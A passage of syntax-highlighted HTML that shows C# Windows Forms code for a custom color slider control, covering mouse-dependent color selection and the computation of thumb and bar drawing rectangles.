/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barPenColor</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedInnerColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">DrawColorSlider</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">4</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">5</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">6</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">desaturatedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">7</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">mouseEffects&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">mouseInRegion</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">lightenedColors&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">LightenColors</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbPenColor</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barPenColor</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedInnerColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">DrawColorSlider</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">4</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">5</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">6</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">lightenedColors</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">7</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">DrawColorSlider</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbPenColor</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barInnerColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barPenColor</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedOuterColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedInnerColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Draws&nbsp;the&nbsp;colorslider&nbsp;control&nbsp;using&nbsp;passed&nbsp;colors.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;The&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.PaintEventArgs"/&gt;&nbsp;instance&nbsp;containing&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="thumbOuterColorPaint"&gt;The&nbsp;thumb&nbsp;outer&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="thumbInnerColorPaint"&gt;The&nbsp;thumb&nbsp;inner&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="thumbPenColorPaint"&gt;The&nbsp;thumb&nbsp;pen&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="barOuterColorPaint"&gt;The&nbsp;bar&nbsp;outer&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="barInnerColorPaint"&gt;The&nbsp;bar&nbsp;inner&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="barPenColorPaint"&gt;The&nbsp;bar&nbsp;pen&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="elapsedOuterColorPaint"&gt;The&nbsp;elapsed&nbsp;outer&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="elapsedInnerColorPaint"&gt;The&nbsp;elapsed&nbsp;inner&nbsp;color&nbsp;paint.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">void&nbsp;DrawColorSlider</span><span style="color: #007700">(</span><span style="color: #0000BB">PaintEventArgs&nbsp;e</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbInnerColorPaint</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbPenColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;barOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;barInnerColorPaint</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;barPenColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;elapsedOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Color&nbsp;elapsedInnerColorPaint</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//set&nbsp;up&nbsp;thumbRect&nbsp;aproprietly<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;TrackX&nbsp;</span><span style="color: #007700">=&nbsp;(((</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;*&nbsp;(</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">thumbSize</span><span style="color: #007700">))&nbsp;/&nbsp;(</span><span style="color: #0000BB">barMaximum&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbRect&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Rectangle</span><span style="color: #007700">(</span><span style="color: #0000BB">TrackX</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;TrackY&nbsp;</span><span style="color: #007700">=&nbsp;(((</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;*&nbsp;(</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">thumbSize</span><span style="color: #007700">))&nbsp;/&nbsp;(</span><span style="color: #0000BB">barMaximum&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbRect&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Rectangle</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">TrackY</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//adjust&nbsp;drawing&nbsp;rects<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbHalfRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">LinearGradientMode&nbsp;gradientOrientation</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Inflate</span><span style="color: #007700">(-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">barRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barHalfRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barHalfRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gradientOrientation&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">LinearGradientMode</span><span style="color: #007700">.</span><span style="color: #0000BB">Vertical</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbHalfRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Inflate</span><span style="color: #007700">(-</span><span style="color: #0000BB">barRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;-</span><span style="color: 